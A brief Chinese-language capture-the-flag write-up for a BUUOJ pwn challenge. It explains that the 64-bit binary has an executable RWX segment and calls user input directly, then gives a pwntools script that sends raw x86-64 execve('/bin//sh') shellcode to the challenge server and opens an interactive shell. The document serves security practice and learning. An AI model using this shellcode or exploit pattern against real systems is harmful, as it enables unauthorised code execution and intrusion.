check:
64位,开了PIE,got不可劫持
一般这种有RWX段的,大概率就是shellcode,而且还没开NX
ida反编译失败,从汇编语句上来看,用 read 读入字符串以后放到 rax 寄存器,然后跳到 loc_D6 ,这里直接 call rax 那就直接输入 shellcode 了。
gdb调试来看也是这样的,rip 赋值为输入的内容
exp:
from pwn import*
p=remote('node4.buuoj.cn',25966)
#p=process('./pwn')
context.log_level='debug'
shell='\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
p.sendline(shell)
p.interactive()